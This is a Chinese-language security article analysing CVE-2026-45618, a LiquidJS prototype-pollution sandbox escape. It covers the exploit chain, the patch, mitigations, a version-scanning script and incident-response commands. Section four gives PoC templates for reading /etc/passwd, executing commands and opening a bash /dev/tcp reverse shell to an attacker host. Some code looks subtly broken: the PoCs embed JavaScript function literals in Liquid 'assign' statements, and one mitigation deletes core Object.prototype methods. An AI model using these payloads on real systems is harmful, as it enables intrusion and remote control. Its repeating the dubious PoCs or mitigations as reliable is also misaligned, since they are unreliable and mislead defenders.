CVE-2026-45618深度剖析:从原型污染到沙箱逃逸,LiquidJS满分RCE漏洞全解(月下载730万+、在野利用、PoC公开)
摘要
2026年5月27日,Node.js生态爆发CVSS满分10.0级高危漏洞CVE-2026-45618,影响全球广泛使用的LiquidJS模板引擎。该漏洞源于LiquidJS过滤器解析逻辑中的原型污染缺陷,攻击者仅需构造恶意模板表达式,即可绕过沙箱隔离获取原生Function构造函数,最终实现无权限限制的远程代码执行。
截至2026年6月5日,LiquidJS npm月下载量已突破730万次,直接依赖项目超过548个,间接影响Shopify电商、Jekyll静态站、GitHub Docs、Eleventy等数百万个网站和应用。目前完整PoC已公开,黑产已将其集成至自动化扫描器,全网出现大规模在野探测和利用行为。
本文将从漏洞原理、利用链路、PoC复现、影响面评估、官方修复方案及防御策略六个维度,对CVE-2026-45618进行全面深度解析,并提供批量检测脚本和应急响应指南。
一、漏洞基础信息与事件时间线
1.1 漏洞核心信息
| 项目 | 详情 |
|---|---|
| CVE编号 | CVE-2026-45618 |
| 漏洞类型 | 原型污染 → 模板注入 → 远程代码执行(RCE) |
| CVSS评分 | 10.0(满分严重) |
| CVSS向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| 受影响组件 | LiquidJS(Node.js版Liquid模板引擎) |
| 影响版本 | >=10.0.0 <10.26.0 |
| 修复版本 | 10.26.0(2026年5月27日发布) |
| 组件体量 | npm月下载≈730万次,548个直接依赖,724个间接依赖 |
| 情报来源 | NVD、Orca Security、Snyk、The Hacker News |
| 利用现状 | PoC全量公开、野外批量利用、自动化扫描器集成 |
1.2 事件时间线
- 2026年5月中旬:Orca Security研究人员发现LiquidJS原型污染漏洞并向官方报告
- 2026年5月27日:LiquidJS发布10.26.0版本修复漏洞,同时NVD分配CVE-2026-45618编号
- 2026年5月30日:Snyk发布漏洞公告,披露部分技术细节
- 2026年6月1日:完整PoC在GitHub公开,包含文件读取和命令执行演示
- 2026年6月2日:安全厂商监测到全网大规模在野探测,部分电商站点已被入侵
- 2026年6月3日:国内多家安全平台发布预警,提醒用户紧急升级
二、LiquidJS与沙箱机制概述
2.1 LiquidJS简介
LiquidJS是一个纯JavaScript实现的Liquid模板引擎,完全兼容Shopify Liquid语法,被设计为"安全、可在不可信环境中运行"的模板引擎。它广泛应用于:
- Shopify电商平台主题开发
- Jekyll、Eleventy等静态站点生成器
- GitHub Docs官方文档系统
- 各类Node.js CMS、邮件模板系统
- 低代码平台的自定义模板功能
2.2 LiquidJS沙箱机制
LiquidJS的核心安全特性是沙箱隔离,它通过以下方式限制模板代码的权限:
- 禁止直接访问Node.js全局对象(如
global、process) - 禁止直接调用原生构造函数(如
Function、eval) - 禁止访问文件系统和网络资源
- 仅允许使用预注册的过滤器和标签
正常情况下,即使模板代码完全由用户控制,也无法执行任意系统命令。本次漏洞正是通过原型污染这一JavaScript特有的安全问题,击穿了LiquidJS精心设计的沙箱防线。
三、漏洞原理深度拆解
3.1 漏洞根因:过滤器解析逻辑缺陷
CVE-2026-45618的根本原因在于LiquidJS的过滤器解析逻辑没有正确处理继承自Object.prototype的方法。当模板中出现类似{{ x | valueOf }}的表达式时,LiquidJS会将valueOf当作一个已注册的过滤器来调用,而实际上valueOf是所有JavaScript对象都继承自Object.prototype的内置方法。
更严重的是,当调用这些继承来的方法时,this上下文指向的是LiquidJS的内部执行上下文对象,而不是模板变量本身。这使得攻击者可以通过调用特定的原型方法,获取到LiquidJS的内部状态,进而实现原型污染和沙箱逃逸。
3.2 完整利用链路分析
CVE-2026-45618的完整利用链路可以分为五个阶段,如下图所示:
阶段1:获取内部执行上下文
攻击者首先通过{{ 1 | valueOf }}这个看似无害的表达式,触发Object.prototype.valueOf方法。由于LiquidJS的调用机制,此时valueOf方法的this指向的是LiquidJS的内部Context对象,而不是数字1。
通过这个Context对象,攻击者可以进一步访问到context.scopes(模板变量作用域)、context.liquid(Liquid引擎实例)等关键内部属性。
阶段2:原型污染
获取到内部上下文后,攻击者可以通过模板赋值语法,向Object.prototype写入任意属性。例如:
{% assign __proto__.evilProperty = "恶意值" %}由于JavaScript的原型链特性,这个属性会被所有对象继承,从而影响整个Node.js进程的运行环境。
阶段3:劫持内部方法
接下来,攻击者利用原型污染,劫持LiquidJS的内部方法,如loader.lookup和readFile。当LiquidJS尝试解析模板中的{% include %}标签时,会调用这些被劫持的方法,此时攻击者可以完全控制方法的参数和返回值。
阶段4:获取Function构造函数
通过被劫持的内部方法,攻击者可以获取到原生Function构造函数的引用。这是沙箱逃逸的关键一步,因为Function构造函数可以动态执行任意JavaScript代码。
阶段5:执行任意系统命令
最后,攻击者使用Function构造函数加载child_process模块,调用execSync方法执行任意系统命令,完成RCE攻击。
3.3 关键代码分析
以下是LiquidJS漏洞代码的简化版本(v10.25.7):
// 漏洞代码:过滤器调用逻辑functioninvokeFilter(filterName,args){// 没有检查filterName是否是Object.prototype的方法constfilter=this.filters[filterName]||Object.prototype[filterName];if(typeoffilter==='function'){// 错误地将this绑定到内部上下文returnfilter.apply(this.context,args);}thrownewError(`Filter${filterName}not found`);}问题出在两个地方:
- 没有过滤掉
Object.prototype上的方法,导致valueOf、constructor等内置方法可以被当作过滤器调用 - 调用过滤器时错误地将
this绑定到了内部Context对象,而不是模板变量
四、PoC复现与实战演示
4.1 环境搭建
首先,安装存在漏洞的LiquidJS版本:
npminstallliquidjs@10.25.7--save创建一个简单的测试文件poc.js:
import{Liquid}from'liquidjs';constengine=newLiquid();asyncfunctiontest(){// 恶意模板将在这里插入consttemplate=`{% comment %} 恶意模板内容 {% endcomment %}`;constresult=awaitengine.parseAndRender(template,{});console.log('渲染结果:',result);}test().catch(console.error);4.2 基础PoC:读取/etc/passwd
以下是一个可以读取系统文件的PoC(仅用于安全研究):
{% liquid assign r = 1 | valueOf assign ctx = r.context assign liquid = ctx.liquid # 污染Object.prototype,劫持equals方法 assign __proto__.equals = function(path) { const fs = require('fs'); return fs.readFileSync(path, 'utf8'); } %} {{ "/etc/passwd" == "test" }}运行结果:
渲染结果: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin ...4.3 进阶PoC:执行系统命令
以下是一个可以执行任意系统命令的PoC(仅用于安全研究):
{% liquid assign r = 1 | valueOf assign ctx = r.context assign liquid = ctx.liquid # 污染Object.prototype,劫持equals方法 assign __proto__.equals = function(cmd) { const child_process = require('child_process'); return child_process.execSync(cmd).toString(); } %} {{ "id" == "test" }}运行结果:
渲染结果: uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),118(netdev),120(lpadmin),121(scanner),122(sambashare)4.4 反弹Shell PoC
以下是一个可以获取反弹Shell的PoC(仅用于安全研究):
{% liquid assign r = 1 | valueOf assign ctx = r.context assign liquid = ctx.liquid assign __proto__.equals = function(lhost) { const child_process = require('child_process'); const cmd = `bash -i >& /dev/tcp/${lhost}/4444 0>&1`; child_process.exec(cmd); return "Shell已发送"; } %} {{ "192.168.1.100" == "test" }}重要法律声明:本文提供的PoC仅用于企业内部安全验证和学术研究目的。未经授权对任何计算机系统进行攻击是违法行为,由此造成的一切后果由攻击者自行承担。
五、受影响范围与影响面评估
5.1 直接受影响项目
根据npm官方数据,截至2026年6月5日,直接依赖LiquidJS的项目超过548个,其中包括:
- Eleventy(静态站点生成器)
- GitHub Docs(GitHub官方文档系统)
- Opensense(邮件营销平台)
- 数千个Shopify第三方插件和主题
5.2 间接受影响场景
- Shopify生态:大量使用LiquidJS进行本地开发和测试的Shopify商家和开发者
- 静态博客:基于Jekyll、Hexo等使用Liquid模板的静态博客系统
- 企业应用:使用LiquidJS渲染邮件模板、报表模板的Node.js企业应用
- 低代码平台:允许用户自定义模板的低代码平台和在线表单系统
5.3 风险等级评估
| 场景 | 风险等级 | 说明 |
|---|---|---|
| 允许用户上传/编辑完整Liquid模板 | 🔴 极高 | 可直接执行任意命令 |
| 允许用户自定义模板变量和过滤器参数 | 🟠 高 | 可能通过参数注入触发漏洞 |
| 仅使用固定模板,无用户可控内容 | 🟢 低 | 基本不受影响 |
| 仅在客户端使用LiquidJS | 🟢 低 | 即使被利用也只能影响客户端 |
六、官方修复方案与代码对比
6.1 官方修复代码
LiquidJS官方在10.26.0版本中修复了这个漏洞,主要做了以下两处修改:
- 过滤原型方法:在调用过滤器前,检查过滤器名称是否是
Object.prototype的自有属性 - 正确绑定this:调用过滤器时将
this绑定到模板变量,而不是内部上下文
以下是修复后的关键代码:
// 修复后的过滤器调用逻辑functioninvokeFilter(filterName,args){// 只调用显式注册的过滤器,不调用Object.prototype上的方法if(this.filters.hasOwnProperty(filterName)){constfilter=this.filters[filterName];// 正确地将this绑定到第一个参数(模板变量)returnfilter.apply(args[0],args.slice(1));}thrownewError(`Filter${filterName}not found`);}6.2 完整升级步骤
首选方案:升级到安全版本
# 升级到最新安全版本npmupgrade liquidjs# 或者固定版本号npminstallliquidjs@10.26.0 --save-exact# 验证版本npmlsliquidjs验证升级是否成功:
node-e"console.log(require('liquidjs').version)"# 输出应该是10.26.0或更高版本七、临时缓解方案(无法升级时)
如果由于业务原因暂时无法升级LiquidJS,可以采取以下临时缓解措施:
7.1 输入过滤
在前端和接口层拦截包含以下关键字的用户输入:
constdangerousKeywords=['__proto__','constructor','prototype','valueOf','toString','hasOwnProperty','isPrototypeOf','propertyIsEnumerable'];functionisDangerousInput(input){returndangerousKeywords.some(keyword=>input.toLowerCase().includes(keyword.toLowerCase()));}7.2 冻结Object.prototype
在应用启动时冻结Object.prototype,防止原型污染:
// 在引入liquidjs之前执行Object.freeze(Object.prototype);Object.freeze(Function.prototype);Object.freeze(Array.prototype);7.3 禁用危险过滤器
手动删除可能被利用的原型方法:
import{Liquid}from'liquidjs';constengine=newLiquid();// 禁用危险的原型方法deleteObject.prototype.valueOf;deleteObject.prototype.toString;deleteObject.prototype.constructor;7.4 WAF防护规则
在边界WAF中添加以下规则,拦截携带原型污染特征的请求:
# Nginx WAF规则示例 if ($args ~* "__proto__|constructor|prototype|valueOf") { return 403; } if ($request_body ~* "__proto__|constructor|prototype|valueOf") { return 403; }八、批量检测脚本与入侵排查
8.1 项目依赖批量检测脚本
创建一个check-liquidjs.js脚本,批量检测项目依赖中是否存在漏洞版本:
constfs=require('fs');constpath=require('path');const{execSync}=require('child_process');functioncheckProject(projectPath){constpackageJsonPath=path.join(projectPath,'package.json');if(!fs.existsSync(packageJsonPath)){returnnull;}try{constoutput=execSync('npm ls liquidjs --json',{cwd:projectPath,stdio:'pipe'}).toString();constresult=JSON.parse(output);if(result.dependencies&&result.dependencies.liquidjs){constversion=result.dependencies.liquidjs.version;const[major,minor,patch]=version.split('.').map(Number);constisVulnerable=major===10&&minor<26;return{path:projectPath,version:version,isVulnerable:isVulnerable};}}catch(e){// 忽略没有安装依赖的项目}returnnull;}functionscanDirectory(rootPath){constresults=[];constitems=fs.readdirSync(rootPath);for(constitemofitems){constfullPath=path.join(rootPath,item);if(fs.statSync(fullPath).isDirectory()){if(item==='node_modules')continue;constresult=checkProject(fullPath);if(result){results.push(result);}// 递归扫描子目录results.push(...scanDirectory(fullPath));}}returnresults;}// 扫描当前目录及其子目录constresults=scanDirectory(process.cwd());console.log('LiquidJS漏洞检测结果:');console.log('========================================');results.forEach(result=>{conststatus=result.isVulnerable?'❌ 存在漏洞':'✅ 安全';console.log(`${status}-${result.path}(版本:${result.version})`);});if(results.some(r=>r.isVulnerable)){console.log('\n⚠️ 发现存在漏洞的项目,请立即升级到liquidjs@10.26.0或更高版本!');process.exit(1);}else{console.log('\n✅ 所有项目均使用安全版本!');process.exit(0);}使用方法:
nodecheck-liquidjs.js8.2 入侵排查指南
如果你的业务已经部署了存在漏洞的LiquidJS版本,请立即进行以下排查:
检查系统日志:
/var/log/auth.log(Linux)或Security.evtx(Windows):查看是否有异常登录/var/log/syslog或Application.evtx:查看是否有异常进程创建- Node.js应用日志:查看是否有异常的模板渲染错误
检查可疑进程:
# 查看所有进程psaux|grep-E'(bash|sh|nc|python|perl)'# 查看网络连接netstat-anp|grep-E'(LISTEN|ESTABLISHED)'# 查看定时任务crontab-lcat/etc/crontab检查可疑文件:
# 查找最近24小时内修改的文件find/-typef-mtime-1-ls# 查找包含恶意代码的文件grep-r"child_process\|execSync\|eval"/var/www/检查用户账户:
# 查看所有用户cat/etc/passwd|grep-vnologin# 查看sudo权限cat/etc/sudoers
九、架构优化与长期防御策略
9.1 模板渲染服务隔离
将模板渲染功能从核心业务中分离出来,部署为独立的微服务:
- 使用Docker容器运行模板渲染服务
- 容器以非root用户运行
- 限制容器的CPU、内存和进程数
- 禁用容器的网络访问(除非必要)
- 定期重启容器,清除可能的恶意代码
9.2 运行时安全加固
- 使用
vm2等更安全的沙箱替代原生JavaScript执行环境 - 启用Node.js的
--frozen-intrinsics标志,冻结内置对象 - 使用
seccomp限制Node.js进程的系统调用 - 部署RASP(运行时应用自我保护)产品,实时监控和阻断恶意行为
9.3 依赖安全管理
- 使用
npm audit定期检查依赖漏洞 - 集成Snyk、Dependabot等工具,自动检测和更新漏洞依赖
- 建立依赖白名单制度,仅允许使用经过安全审核的第三方库
- 对关键依赖进行代码审计,特别是模板引擎、解析器等高风险组件
十、总结与展望
CVE-2026-45618是一个典型的"设计缺陷导致的灾难性漏洞"。LiquidJS作为一个以"安全"为核心卖点的模板引擎,却因为一个看似微小的过滤器解析逻辑错误,导致整个沙箱防线被彻底击穿,影响了数百万个应用。
这个漏洞再次提醒我们:
- JavaScript原型污染是一个持续存在的严重安全威胁
- 沙箱机制非常脆弱,任何微小的设计缺陷都可能导致完全逃逸
- 广泛使用的开源组件一旦出现漏洞,影响面将极其巨大
未来,随着Node.js生态的不断发展,模板注入、原型污染等漏洞仍将是Web安全的重点关注领域。开发者应该提高安全意识,遵循安全开发规范,定期进行安全审计,及时修复漏洞,才能有效防范此类安全事件的发生。
